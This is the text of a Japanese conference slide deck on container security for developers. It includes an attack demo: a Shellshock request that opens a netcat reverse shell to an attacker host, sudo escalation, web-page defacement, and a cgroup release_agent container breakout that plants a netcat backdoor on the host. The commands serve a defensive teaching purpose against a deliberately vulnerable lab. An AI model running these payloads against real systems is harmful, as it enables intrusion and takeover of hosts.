SlideShare a Scribd company logo
2021/11/04 17:20-18:00
Track F
@mochizuki875
乗っ取れコンテナ!!
∼開発者から見たコンテナセキュリティの考え方∼
@mochizuki875
Name
 Keita Mochizuki(mochizuki875)
Company
 NTT DATA Corporation
Role
 Cloud Engineer
whoami
Name
 Keita Mochizuki(mochizuki875)
Company
 NTT DATA Corporation
Role
 Cloud Engineer
whoami
たぬきではなく
きつねです。
@mochizuki875
毎週金曜22:00 23:00にKubernetes/Cloud Native関連の話題をYouTube生配信にて
雑談形式で配信しています。
宣伝
https://kubenews.connpass.com/
@mochizuki875
@antiberial
@bells17_ @it__chago
@URyo_0213
毎週金曜22:00 23:00にKubernetes/Cloud Native関連の話題をYouTube生配信にて
雑談形式で配信しています。
宣伝
https://kubenews.connpass.com/
@mochizuki875
@antiberial
@bells17_ @it__chago
@URyo_0213
一緒にワイワイしましょう😆
ゲスト出演も絶賛募集中です!!
※ゲスト出演頂ける方は以下メンバーのTwitter DMまでご連絡頂ければと思います
本セッションのターゲット
 コンテナを利用する開発者
 コンテナのセキュリティをこれまであまり意識して来なかった人
趣旨
 ①コンテナを利用する上でのセキュリティリスクを実感する 
  一般的に「〇〇だと危ない」と語られるセキュリティリスクについて攻撃事例を用いて具体的に理解する
 ②セキュリティリスク対策の考え方を体系的に理解する
  セキュリティリスクの具体的な理解を踏まえ、どういう考え方・方法でそれらに対処すべきかを理解する
話さないこと
 今回以下については説明の対象外します。
  ・コンテナ基盤管理者目線でのセキュリティの考え方
  ・アプリケーションレイヤにおけるセキュリティの考え方
  ・セキュリティリスクや対策手法の網羅的な説明
  ・各種ツールの詳細な説明
はじめに
・本発表はサイバー攻撃を肯定するものではありません
・発表内で用いるコンテナという言葉は基本的にruncで実行されるコンテナを指します
・掲載内容は個人の見解であり、所属する企業や組織の立場、戦略、意見を代表するものでは
 ありません
・記載されている会社名、商品名、またはサービス名は、各社の商標登録または商標です
はじめに
1. コンテナセキュリティの全体像とスコープ
2. コンテナへの攻撃事例
 2.1. 概要
 2.2. コンテナを乗っ取る
 2.3. コンテナホストを乗っ取る
 2.4. 攻撃のまとめ
3. コンテナセキュリティの考え方
 3.1. 概要
 3.2. イメージレイヤ
3.3. コンテナレイヤ
4. まとめ
Agenda
1. コンテナセキュリティの全体像とスコープ
2. コンテナへの攻撃事例
 2.1. 概要
 2.2. コンテナを乗っ取る
 2.3. コンテナホストを乗っ取る
 2.4. 攻撃のまとめ
3. コンテナセキュリティの考え方
 3.1. 概要
 3.2. イメージレイヤ
3.3. コンテナレイヤ
4. まとめ
Agenda
ホストOSのリスク
・大きなアタックサーフェス
・共有カーネル
・ホスト OS コン
ポ
ーネントの脆弱性
・不適切なユー
ザ
アクセス権
・ホスト OS ファイルシステムの改
ざ
ん
オーケストレーターのリスク
・制限のない管理者アクセス
・不正アクセス
・コンテナ間ネットワークトラフィックの不十分な分離
・ワークロー
ド
の機微性レ
ベ
ルの混合
・オーケストレータノー
ド
の信頼
レジストリのリスク
・レ
ジ
ストリへのセキュア
で
ない接続
・レ
ジ
ストリ内の古いイメー
ジ
・認証・認可の不十分な制限
コンテナのリスク
・ランタイムソフトウェア内の脆弱性
・コンテナからの無制限のネットワークアクセス
・セキュア
で
ないコンテナランタイムの設定
・ア
プ
リの脆弱性
・未承認コンテナ
イメージのリスク
・イメー
ジ
の脆弱性
・イメー
ジ
の設定の不備
・埋め込まれたマルウェア
・埋め込まれた平文の秘密情報
・信頼
で
きないイメー
ジ
の使用
コンテナセキュリティのプラクティスの代表的例として、
NIST SP800-190 アプリケーションコンテナセキュリティガイド
があります。
本プラクティスによるとコンテナセキュリティとして扱うべきスコープは以下のように定義されています。
NIST SP800-190 アプリケーションコンテナセキュリティガイド(IPA日本語翻訳版)
https://www.ipa.go.jp/
fi
les/000085279.pdf
1. コンテナセキュリティの全体像とスコープ
ホストOSのリスク
・大きなアタックサーフェス
・共有カーネル
・ホスト OS コン
ポ
ーネントの脆弱性
・不適切なユー
ザ
アクセス権
・ホスト OS ファイルシステムの改
ざ
ん
オーケストレーターのリスク
・制限のない管理者アクセス
・不正アクセス
・コンテナ間ネットワークトラフィックの不十分な分離
・ワークロー
ド
の機微性レ
ベ
ルの混合
・オーケストレータノー
ド
の信頼
レジストリのリスク
・レ
ジ
ストリへのセキュア
で
ない接続
・レ
ジ
ストリ内の古いイメー
ジ
・認証・認可の不十分な制限
コンテナのリスク
・ランタイムソフトウェア内の脆弱性
・コンテナからの無制限のネットワークアクセス
・セキュア
で
ないコンテナランタイムの設定
・ア
プ
リの脆弱性
・未承認コンテナ
イメージのリスク
・イメー
ジ
の脆弱性
・イメー
ジ
の設定の不備
・埋め込まれたマルウェア
・埋め込まれた平文の秘密情報
・信頼
で
きないイメー
ジ
の使用
1. コンテナセキュリティの全体像とスコープ
コンテナセキュリティのプラクティスの代表的例として、
NIST SP800-190 アプリケーションコンテナセキュリティガイド
があります。
本プラクティスによるとコンテナセキュリティとして扱うべきスコープは以下のように定義されています。
NIST SP800-190 アプリケーションコンテナセキュリティガイド
https://www.ipa.go.jp/
fi
les/000085279.pdf
雰囲気は分かる!!
が、
具体的に捉え辛い・・・
※個人の見解です
Registry
Cloud/NW
Host OS
Orchestrator
Container Runtime
Container
Container Image
Application
Developer
Administrator
デプロイするコンテナのセキュリティを考える
コンテナ基盤のセキュリティを考える
・どのようなコンテナをデプロイするか
・コンテナにどのような設定を行うか
・基盤をどのように管理するか
・基盤にどのような設定を行うか
・基盤にどのような制限をかけるか
・基盤をどのように監視するか
NIST SP800-190をベースにコンテナセキュリティで扱うスコープをさらに細分化すると、
以下のように開発者と基盤管理者それぞれで担うべきレイヤに分けることができます。
一般的にはこれら各レイヤそれぞれに対してセキュリティ対策を行う多層防御の考え方が推奨されます。
1. コンテナセキュリティの全体像とスコープ
Registry
Cloud/NW
Host OS
Orchestrator
Container Runtime
Container
Container Image
Application
Developer
Administrator
デプロイするコンテナのセキュリティを考える
コンテナ基盤のセキュリティを考える
・どのようなコンテナをデプロイするか
・コンテナにどのような設定を行うか
・基盤をどのように管理するか
・基盤にどのような設定を行うか
・基盤にどのような制限をかけるか
・基盤をどのように監視するか
本セッションではその中でも開発者の責任レイヤに関するセキュリティリスク及び対策の考え方を
具体的な例に基づき扱っていきたいと思います。
1. コンテナセキュリティの全体像とスコープ
※Applicationについても開発者の責任範囲ではありますが、今回の趣旨とは逸れるためここではスコープから除外しています
Role Layer NIST SP800-190
イメージのリスク コンテナのリスク オーケストレータのリスク ホストOSのリスク レジストリのリスク
Developer Application ア
プ
リの脆弱性
Container Image イメージの脆弱性
イメージの設定不備*
埋め込まれたマルウェア
埋め込まれた平文の秘密情報
信頼できないイメージの使用
Container イメージの設定不備* セキュア
で
ないコンテナランタイムの設定 共有カーネル*
ホスト OS ファイルシステムの改
ざ
ん*
Administrator Container Runtime ランタイムソフトウェア内の脆弱性
Orchestrator コンテナからの無制限のネットワークアクセス
未承認コンテナ
制限のない管理者アクセス
不正アクセス
コンテナ間ネットワークトラフィックの不十分な分離
ワークロー
ド
の機微性レ
ベ
ルの混合
オーケストレータノー
ド
の信頼
Host OS 共有カーネル*
ホスト OS ファイルシステムの改
ざ
ん*
ホスト OS コン
ポ
ーネントの脆弱性
大きなアタックサーフェス**
不適切なユー
ザ
アクセス権 **
Cloud/NW 大きなアタックサーフェス**
不適切なユー
ザ
アクセス権 **
Registry レジストリへのセキュアでない接続
レジストリ内の古いイメージ
認証・認可の不十分な制限
(参考)各レイヤへのマッピング
1. コンテナセキュリティの全体像とスコープ
CloudNative Days Tokyo 2020「攻撃しながら考えるKubernetesのセキュリティ」
 資料
 https://speakerdeck.com/fujiihda/considering-kubernetes-security-while-attacking
 動画
 https://event.cloudnativedays.jp/cndt2020/talks/26
CloudNative Days Online 2021「ここからはじめるKubernetesセキュリティ」
 資料
 https://speakerdeck.com/tetsuyaisogai/kubernetes-security-101
 動画
 https://event.cloudnativedays.jp/cndo2021/talks/611
基盤管理者目線のリスクやセキュリティ対策にも興味がある方は、以下のセッションが参考になると思いますので
合わせてご覧ください。
(参考)基盤管理者目線のセキュリティ
1. コンテナセキュリティの全体像とスコープ
1. コンテナセキュリティの全体像とスコープ
2. コンテナへの攻撃事例
 2.1. 概要
 2.2. コンテナを乗っ取る
 2.3. コンテナホストを乗っ取る
 2.4. 攻撃のまとめ
3. コンテナセキュリティの考え方
 3.1. 概要
 3.2. イメージレイヤ
3.3. コンテナレイヤ
4. まとめ
Agenda
ここからは開発者の責任レイヤをスコープとしたセキュリティリスクを実感するため、
セキュリティリスクを含むコンテナに対する攻撃事例を解説していきます。
今回の検証及び解説は以下の環境を前提としています。
環境
 Linux Kernel:5.4.0-72-generic
 OS:Ubuntu 20.04.2 LTS
 Kubernetes:v1.22.0
 CRI:containerd 1.4.9
 OCI:runc 1.0.1
PoC資材URL
 mochizuki875/CVE-2014-6271-Apache-Debian
 https://github.com/mochizuki875/CVE-2014-6271-Apache-Debian
是非やってみてね!
※ご自身の環境で!!!!
2.1. コンテナへの攻撃事例 -概要-
https://attack.mitre.org/matrices/enterprise/containers/
2.1. コンテナへの攻撃事例 -概要-
MITRE ATT&CK
攻撃者の戦略(Tactics)と技術(Techniques)を分析し整理したナレッジベース。
コンテナに対して行われ得る攻撃パターンを理解するのに役立つ。
https://attack.mitre.org/matrices/enterprise/containers/
2.1. コンテナへの攻撃事例 -概要-
攻撃フェーズ
攻撃手法
MITRE ATT&CK
攻撃者の戦略(Tactics)と技術(Techniques)を分析し整理したナレッジベース。
コンテナに対して行われ得る攻撃パターンを理解するのに役立つ。
https://attack.mitre.org/matrices/enterprise/containers/
2.1. コンテナへの攻撃事例 -概要-
MITRE ATT&CK
本日は主に以下赤枠で示した箇所を対象として攻撃デモを行なっていきます。
Developer
Kubernetes Cluster
Worker Node #1
Worker Node #2
Manifest
Container
Image
Service A
Service B
Service C
$ kubectl apply
Master Node
Webサイトを
コンテナとしてデプロイ
あるチームではKubernetesをコンテナ基盤として利用しており、
アプリ開発者は様々なサービスをコンテナ(Pod)としてデプロイしています。
ある時、新たにWebサービスをユーザーに提供しようとコンテナをデプロイしました。
※今回のケースではWebサービスデプロイに用いるコンテナイメージ、Kubernetes Manifest(コンテナ起動設定)
 にセキュリティリスクを含んでおり、攻撃者はそれらを利用して攻撃を仕掛けます
セキュリティリスクを含む
2.1. コンテナへの攻撃事例 -概要-
Developer
Kubernetes Cluster
Worker Node #1
Worker Node #2
Service A
Service B
Service C
Web
$ kubectl get pod
NAME READY STATUS RESTARTS AGE
web 1/1 Running 0 3m
service_a 1/1 Running 0 15h20m
service_b 1/1 Running 0 9h17m
service_c 1/1 Running 0 7h11m
Master Node
2.1. コンテナへの攻撃事例 -概要-
あるチームではKubernetesをコンテナ基盤として利用しており、
アプリ開発者は様々なサービスをコンテナ(Pod)としてデプロイしています。
ある時、新たにWebサービスをユーザーに提供しようとコンテナをデプロイしました。
※今回のケースではWebサービスデプロイに用いるコンテナイメージ、Kubernetes Manifest(コンテナ起動設定)
 にセキュリティリスクを含んでおり、攻撃者はそれらを利用して攻撃を仕掛けます
User
Kubernetes Cluster
Worker Node #1
Worker Node #2
Service A
Service B
Service C
Web NW
Master Node
Webサイトにアクセス
ユーザーは新たに公開されたWebサービスにアクセスし、サービスを利用します。
2.1. コンテナへの攻撃事例 -概要-
今回のWebサービスは以下のように非常にシンプルな内容のものとなっています。
ページに埋め込まれたリンクをクリックすると、対象のページに移動できるようになっています。
http://container-hands-on.local
※Load Balancer等なんらかの手段を用いてコンテナを外部公開している
2.1. コンテナへの攻撃事例 -概要-
2.1. コンテナへの攻撃事例 -概要-
今回のWebサービスは以下のように非常にシンプルな内容のものとなっています。
ページに埋め込まれたリンクをクリックすると、対象のページに移動できるようになっています。
2.1. コンテナへの攻撃事例 -概要-
今回のWebサービスは以下のように非常にシンプルな内容のものとなっています。
ページに埋め込まれたリンクをクリックすると、対象のページに移動できるようになっています。
Attacker
Kubernetes Cluster
Worker Node #1
Worker Node #2
Service A
Service B
Service C
Web NW
Master Node
悪意のあるユーザー(攻撃者)がWebサービスのセキュリティリスクを発見し、攻撃を仕掛けようと試みます。
なお、今回の例で攻撃者は一般ユーザーと同じくインターネット越しにサービスにアクセスするものとします。
※本来攻撃を仕掛ける際は攻撃者がどのようにセキュリティリスクを発見するか、どのように攻撃対象の構成を知るか、
 といった観点も考慮する必要がありますが、今回の趣旨とは話が逸れるため省略させていただきます。
Attack!!
2.1. コンテナへの攻撃事例 -概要-
Attacker
Container Host(Worker Node #1)
Service A
Web
今回のシナリオでは攻撃者は以下の2つの攻撃を試みます。
 [シナリオ①] コンテナを乗っ取る
  Webサービスに不正なリクエストを送りつけることでコンテナにバックドアを仕掛けて侵入する。
  その後、Webサイトのリンクを書き換える。
 [シナリオ②] コンテナホストを乗っ取る
  侵入したコンテナからコンテナホストに対して不正なコマンドを発行する。
  コマンド実行によりバックドアを仕掛けることでコンテナホストに侵入する。
①-1. コンテナ内に侵入
①-2. Webサイトを書き換え
cmd
②-1. コンテナホストに対して不正なコマンドを実行
Back Door
②-2. バックドアを作成
②-3. バックドアを経由して侵入
2.1. コンテナへの攻撃事例 -概要-
※開発者がセキュリティリスクを含むコンテナをデプロイしているケースを想定した攻撃デモを目的と
 しているため、意図的に脆弱な環境を作成しています
 また、コンテナレイヤのリスクを表現するため、あえて基盤管理レイヤへのセキュリティ対策は
 行っていません
乗っ取っていくぅ!!
😎
Attacker
Container Host(Worker Node #1)
最初に攻撃者は以下のようなHTTPリクエストをWebサービスコンテナに対して発行します。
これによりコンテナ内で不正にコマンドが実行され、コンテナに侵入するためのバックドアが作成されます。
不正なHTTPリクエストを送信
# nc -nvlp 5050
# curl -H "user-agent: () { :; }; echo; /bin/nc -e /bin/bash <攻撃端末IP> 5050"
http://container-hands-on.local/cgi-bin/vulnerable
Web
攻撃者端末(ターミナル1)
攻撃者端末(ターミナル2)
ターミナル2のHTTPリクエストでヘッダに付
与したコマンドが実行され、
攻撃者端末とセッションを確立
5050ポート待ち受け
/bin/nc
2.2. コンテナへの攻撃事例 -①コンテナを乗っ取る-
Attacker
Container Host(Worker Node #1)
攻撃者のターミナル1でコンテナに侵入できた(コンテナ内のshellを取得できた)ことが確認できます。
これにより攻撃者はコンテナ内で任意の操作が可能になりました。
コンテナ内に侵入
# nc -nvlp 5050
Listening on 0.0.0.0 5050
Connection received on 192.168.2.155 54758
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1000(wheel)
hostname
web
Web
コンテナ(攻撃者端末のターミナル1から侵入)
攻撃者はコンテナ内で
任意のコマンドを実行
可能になった
5050ポート待ち受け
コンテナとセッション確立
2.2. コンテナへの攻撃事例 -①コンテナを乗っ取る-
Attacker
Container Host(Worker Node #1)
侵入したコンテナ内で以下のコマンドを実行し、Webコンテンツのリンクを書き換えます。
Webサイトを書き換え
sudo sed -i -e 's/https://www.katacoda.com/courses/kubernetes/danger.html/' /var/www/html/index.html
Web
コンテナ(攻撃者端末のターミナル1から侵入)
※今回は検証用ということであらかじめコンテナ内に用意したダミーページ( /var/www/html/danger.html)にリンク先を変更しています。
5050ポート待ち受け
コンテナとセッション確立
2.2. コンテナへの攻撃事例 -①コンテナを乗っ取る-
実際にWebサイトにアクセスしてみます。一見変わりはありませんが・・・
2.2. コンテナへの攻撃事例 -①コンテナを乗っ取る-
リンクが改竄されておりユーザーは意図しないページに誘導されてしまいます。
ここまでで攻撃者はWebサービスを提供するコンテナに侵入し、コンテンツの改竄を行うことができました。
(コンテナを乗っ取ることができた)
2.2. コンテナへの攻撃事例 -①コンテナを乗っ取る-
Attacker
Container Host(Worker Node #1)
続いて侵入したコンテナからWorker Nodeで任意のコマンドを実行することを試みます。
※このように本来隔離されているはずのコンテナからコンテナ外(ホストなど)に対して影響を及ぼすことをContainer Breakoutと呼ぶ
まずはコンテナ内でroot(特権ユーザー)に昇格します。
これで侵入したコンテナ内で攻撃者はrootとして振る舞うことが可能になりました。
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),1000(wheel)
sudo su -
id
uid=0(root) gid=0(root) groups=0(root)
Web
コンテナ(攻撃者端末のターミナル1から侵入)
sudo su -
コンテナ内で特権ユーザーに昇格
2.3. コンテナへの攻撃事例 -②コンテナホストを乗っ取る-
Attacker
Container Host(Worker Node #1)
ホストで実行したいプログラムをコンテナ内で作成します。
cat <<EOF > /cmd
#!/bin/sh
echo "hostname Command from Container" > /tmp/output
hostname >> /tmp/output
EOF
# chmod +x /cmd
Web
コンテナ(攻撃者端末のターミナル1から侵入)
cat
プログラムを作成
cmd
2.3. コンテナへの攻撃事例 -②コンテナホストを乗っ取る-
Attacker
Container Host(Worker Node #1)
先ほどコンテナ内で作成したファイルcmdの実態は、ホスト上のrootfsに所属する特定ディレクトリに存在することになります。
これはコンテナのrootfsがホスト上のOverlayFSからマウントされているためです。
OverlayFSは複数のディレクトリを重ね合わせて1つのファイルシステムを再現する仕組みであり、
OverlayFSに対する更新はUpperdirに反映されます。
mount -t overlay
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/87/fs:/var/lib/
containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/58/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/
snapshots/57/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/56/fs:/var/lib/containerd/
io.containerd.snapshotter.v1.overlayfs/snapshots/55/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/54/
fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/53/fs:/var/lib/containerd/
io.containerd.snapshotter.v1.overlayfs/snapshots/52/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/51/
fs,upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/92/fs,workdir=/var/lib/containerd/
io.containerd.snapshotter.v1.overlayfs/snapshots/92/work,xino=o
ff
)
Web
コンテナ(攻撃者端末のターミナル1から侵入)
/sys/fs/cgroup/rdma/
x
notify_on_release
cmd
Overlayfs
Upperdir
Lowerdir(Layer1)
Lowerdir(Layer2)
work
cmd
実体はホスト上の
Overlayfsに存在
※マウントされているOverlayfsのホスト上でのパスは、コンテナ内でmountコマンドを実行することで確認可能です。
2.3. コンテナへの攻撃事例 -②コンテナホストを乗っ取る-
Attacker
Container Host(Worker Node #1)
コンテナ内でcgroupと呼ばれる特殊なファイルシステムに対してディレクトリを作成します。
このcgroupというファイルシステムについてはコンテナとホストで共有されているため、
ここではコンテナから直接ホストのcgroupを操作していることになります。
※一般的にコンテナとホストでファイルシステムは隔離されます。しかしcgroupについてはデフォルトでcgroup namespaceが共通であるため、双方で共有される事になることになります。
mkdir /sys/fs/cgroup/rdma/x
ls /sys/fs/cgroup/rdma/
cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks x
Web
コンテナ(攻撃者端末のターミナル1から侵入)
root@k8s-cluster1-worker01: # ls /sys/fs/cgroup/rdma/
cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasks x
コンテナホスト
/sys/fs/cgroup/rdma/
x
mkdir
コンテナ内でcgroupを作成すると、
同じものがホスト上にも作成される
2.3. コンテナへの攻撃事例 -②コンテナホストを乗っ取る-
Attacker
Container Host(Worker Node #1)
cgroupがコンテナとホストで共通であることを利用すると、以下のようなコマンド操作を行うことで先ほど用意した
プログラムをcgroupの機能を用いて発火させ、ホスト上で実行できるようになります。
[補足]
 cgroupとはカーネル上のプロセスに対してリソースの制限を行う仕組みであり、ここではcgroup v1のもつrelease agentという機能を利用しています。
 release agentを有効(①)にした上で設定ファイルにプログラムを登録(②)しておくことで、特定のcgroupに所属するプロセスが全て終了(③)したことを契機に
 そのプログラムを実行することができます。
Web
/sys/fs/cgroup/rdma/
x
notify_on_release
コマンド実行 sh
Overlayfs
Upperdir
Lowerdir(Layer1)
Lowerdir(Layer2)
work
cmd
release_agent
登録されたプログラムを発火
cgroup.procs
process
コマンド実行時にPIDが登録され
完了に伴い削除される
※xに所属するプロセスが全て終了したとみなされる
ホスト上で実行
echo 1 > /sys/fs/cgroup/rdma/x/notify_on_release
echo "/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/92/fs/cmd" > /sys/fs/cgroup/rdma/release_agent
sh -c "echo $$ > /sys/fs/cgroup/rdma/x/cgroup.procs"
コンテナ(攻撃者端末のターミナル1から侵入)
・・・①
・・・②
・・・③
ホスト上でのcmdのパス
2.3. コンテナへの攻撃事例 -②コンテナホストを乗っ取る-
コンテナ内で用意したプログラムがホスト上で実行されたことを確認します。
今回は以下のようにホスト側にファイルを作成し、メッセージを出力するコマンドをプログラム内で定義しました。
ホスト上で確認するとコンテナ内で用意したプログラムが実行され、メッセージが出力されていることが分かります。
これで攻撃者はコンテナからホストに対して任意のコマンドを発行できるようになりました。
コンテナ内で用意したプログラム(再掲)
root@k8s-cluster1-worker01: # cat /tmp/output
hostname Command from Container
k8s-cluster1-worker01
cat <<EOF > /cmd
#!/bin/sh
echo "hostname Command from Container" > /tmp/output
hostname >> /tmp/output
EOF
ホスト上でのコマンド実行結果
2.3. コンテナへの攻撃事例 -②コンテナホストを乗っ取る-
コンテナ内からホスト上で任意のコマンドを実行できることを利用し、ホストにバックドアを仕掛けて侵入することを試みます。
まずはホストのIPアドレスを取得します。
コンテナ(攻撃者端末のターミナル1から侵入)
cat <<EOF > /cmd
#!/bin/sh
ip a > /var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/92/fs/ip.txt
EOF
ホストから見たコンテナのrootfsのパス
sh -c "echo $$ > /sys/fs/cgroup/rdma/x/cgroup.procs"
cat /ip.txt
(略)
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:0c:29:d1:c7:c6 brd
ff
:
ff
:
ff
:
ff
:
ff
:
ff
inet 192.168.2.154/24 brd 192.168.2.255 scope global ens160
(略)
プログラムの作成
プログラムの実行
プログラムの実行結果の確認
2.3. コンテナへの攻撃事例 -②コンテナホストを乗っ取る-
以下のようなコマンドをそれぞれ攻撃者端末及びコンテナ内て実行することでホストに対してバックドアを仕掛け、
攻撃者端末からホストに侵入することができます。
コンテナ(攻撃者端末のターミナル1から侵入)
cat <<EOF > /cmd
#!/bin/sh
nc -l 9023 ¦ bash ¦ nc <攻撃端末IP> 8023
EOF
sh -c "echo $$ > /sys/fs/cgroup/rdma/x/cgroup.procs"
# nc -l 8023
攻撃者端末(ターミナル2)
# nc 192.168.2.154 9023
攻撃者端末(ターミナル3)
Attacker
Container Host(Worker Node #1)
Web
cmd
8023ポート待ち受け
Back Door
(9023ポート待ち受け) 9023ポート宛通信
バックドアを作成
2.3. コンテナへの攻撃事例 -②コンテナホストを乗っ取る-
先ほど取得したホストのIPアドレス
攻撃者端末において、ターミナル3でコマンドを発行するとその実行結果がターミナル2に表示されるようになりました。
これで攻撃者は自身の端末からコンテナホストに対して任意のコマンドを発行できるようになりました。
(コンテナホストを乗っ取ることができた)
# nc -l 8023
uid=0(root) gid=0(root) groups=0(root)
k8s-cluster1-worker01
CONTAINER ID IMAGE CREATED STATE NAME ATTEMPT POD ID
f73e6d0a32955 b00e04dc37e5b 15 minutes ago Running web 0 6e32489bcb40e
f090ed1dec116 20e6ceb085463 29 hours ago Running service_a 0 3fd1801877dbe
4fe0ae03678de bbad1636b30d8 5 days ago Running kube-proxy 0 59c4d874c0a5b
6698a0c797f1e 8d147537fb7d1 5 days ago Running coredns 0 b52984d75ce11
攻撃者端末(ターミナル2)
# nc 192.168.2.154 9023
id
hostname
crictl ps
Attacker
Container Host(Worker Node #1)
Web
攻撃者はバックドアを経由して任意の
コマンドを実行できるようになった
8023ポート待ち受け
Back Door
(9023ポート待ち受け) 9023ポート宛通信
id
hostname
crictl
攻撃者端末(ターミナル3)
2.3. コンテナへの攻撃事例 -②コンテナホストを乗っ取る-
やったぜ!!
😈
①コンテナを乗っ取る
外部からの不正なリクエストによりコンテナに侵入された
コンテナ内のファイル(Webコンテンツ)を書き換えられた
②コンテナホストを乗っ取る
コンテナ内で用意した不正なプログラムをホスト上に配置された
コンテナからホストのcgroupを操作され、不正なプログラムを実行された
今回の攻撃で行われたことを整理すると以下のようになります。
これらの攻撃は開発者の責任範囲であるコンテナイメージ及びコンテナレイヤに含まれるセキュリティリスクを悪用して
行われました。
2.4. コンテナへの攻撃事例 -攻撃のまとめ-
何がいけなかったのか?
どうすれば良かったのか?
1. コンテナセキュリティの全体像とスコープ
2. コンテナへの攻撃事例
 2.1. 概要
 2.2. コンテナを乗っ取る
 2.3. コンテナホストを乗っ取る
 2.4. 攻撃のまとめ
3. コンテナセキュリティの考え方
 3.1. 概要
 3.2. イメージレイヤ
3.3. コンテナレイヤ
4. まとめ
Agenda
※Applicationについても開発者の責任範囲ではありますが、今回の趣旨とは逸れるためここではスコープから除外しています
コンテナをデプロイするにあたり開発者はそれぞれ以下2つのレイヤについてセキュリティリスクを意識し、
対策を考える必要があります。
 ・Container Image:どのようなコンテナをデプロイするか
 ・Container:デプロイするコンテナにどのような設定を行うか
3.1. コンテナセキュリティの考え方 -概要-
Registry
Cloud/NW
Host OS
Orchestrator
Container Runtime
Container
Container Image
Application
Developer
Administrator
Docker
fi
le
Kubernetes Manifest
今回はDocker
fi
leを用いてイメージをビルドし、
Kubernetes Manifestを用いてKubernetes上にコンテナをデプロイする
という最も一般的なケースを用いることとします。
以下ではコンテナイメージ、コンテナそれぞれのレイヤにおけるセキュリティの考え方について、
先の攻撃事例を元に3ステップでご説明します。
基本
原則
リスク
対策
各レイヤにおいてセキュリティを考える際の基本原則を説明
攻撃事例を元にどのようなことがセキュリティリスクになり得るか説明
セキュリティ対策の具体的な手法を説明
3.1. コンテナセキュリティの考え方 -概要-
1. コンテナセキュリティの全体像とスコープ
2. コンテナへの攻撃事例
 2.1. 概要
 2.2. コンテナを乗っ取る
 2.3. コンテナホストを乗っ取る
 2.4. 攻撃のまとめ
3. コンテナセキュリティの考え方
 3.1. 概要
 3.2. イメージレイヤ
3.3. コンテナレイヤ
4. まとめ
Agenda
Container Host
process
Container A
Image A
Container Host
process
Container B
Image B
必要最小限のライブラリや
パッケージ、バイナリ、
設定値を含めたイメージ
必要以上のライブラリや
パッケージ、バイナリ、
設定値を含めたイメージ
コンテナの隔離環境には必要最小限のものが含まれる状態 コンテナの隔離環境に様々なものが含まれる状態
 << セキュリティリスク << 
イメージに余分なものを含めない
3.2. コンテナセキュリティの考え方 -イメージ-
基本
原則
小 大
一般的にイメージに含めるべきでないとされるもの
不要なパッケージ 不要なプログラムやIF
不要なプロセス 不要な設定
秘密情報
3.2. コンテナセキュリティの考え方 -イメージ-
基本
原則
上記のようなものがコンテナに含まれていることで、起動するコンテナに脆弱性を含んでしまうリスクや
攻撃者に対する攻撃の機会を与えてしまうこと(Attack Surface)に繋がる
今回攻撃が成立してしまったケースにおいて、開発者が用意したイメージ(Docker
fi
le)がどうだったか見てみましょう。
一見Docker
fi
le内で行っていることに問題はなさそうです。
しかしながら使用しているベースイメージは本当に信頼できるものなのでしょうか。
FROM mochizuki875/cve-2014-6271-apache-debian:buster
# Place content
COPY index.html /var/www/html/
RUN chown www-data:www-data /var/www/html/index.html
開発者が用意したDocker
fi
le
(mochizuki875/training-website-poc:v1.0)
※今回はあくまで例なのであからさまに怪しいベースイメージ名になっていますが、
 実際のケースでは開発者が何となく選定したイメージを想定してください
 (例えば開発者がDockerHubで"performance-lab/high-performance-httpd:v1.0"のようなものを見つけて使用)
3.2. コンテナセキュリティの考え方 -イメージ- リスク
開発者が使用したベースイメージの中身は以下のようになっており、
本来含めるべきでない様々な余分なものが含まれている状態でした。
FROM debian:buster
# Install packages and permission setting
RUN apt-get update && 
apt-get upgrade -y && 
DEBIAN_FRONTEND=noninteractive apt-get install -y apache2 && 
a2enmod cgid && 
apt-get -y install libtinfo5 && 
apt-get -y install netcat && 
apt-get install -y sudo && 
groupadd wheel && 
usermod -aG wheel www-data && 
echo "%wheel ALL=NOPASSWD: ALL" >> /etc/sudoers && 
apt-get clean && 
rm -rf /var/lib/apt/lists/*
# Inject CVE-2014-6271 bash
COPY packages /packages
RUN dpkg -i /packages/*
# Place content
COPY vulnerable /usr/lib/cgi-bin/
COPY danger.html /var/www/html/
RUN chown www-data:www-data /var/www/html/* && 
chown www-data:www-data /usr/lib/cgi-bin/vulnerable && 
chmod +x /usr/lib/cgi-bin/vulnerable
EXPOSE 80
CMD ["/usr/sbin/apache2ctl", "-DFOREGROUND"]
不要なパッケージ
不要な設定
脆弱性を含むパッケージ
※CVE-2014-6271を含むbash
不要なIF
ベースイメージのDocker
fi
le
( mochizuki875/cve-2014-6271-apache-debian:buster)
3.2. コンテナセキュリティの考え方 -イメージ- リスク
今回の攻撃事例では攻撃者がコンテナに侵入する際、
Webサーバーのコンテナに対して以下のようなHTTPリクエストを発行していました。
このHTTPリクエストではコンテナイメージ内に含まれていた以下2つの要素を悪用することで
コンテナ内で任意のコマンドをリモート実行することを試みています。
 ・CGI(Common Gateway Interface):Webサーバーに配置されたプログラムを呼び出すIF
 ・CVE-2014-6271:GCI経由で任意のコマンドをリモート実行できてしまうbashの脆弱性(ShellShock)
その結果、コンテナにバックドアを仕掛け、コンテナに侵入するに至りました。
# curl -H "user-agent: () { :; }; echo; /bin/nc -e /bin/bash <攻撃端末IP> 5050"
http://container-hands-on.local/cgi-bin/vulnerable
CGIに対するリクエスト
脆弱性を利用してバックドアを仕掛けるコマンドを実行
攻撃者が外部からコンテナに侵入する際に用いたコマンド(再掲)
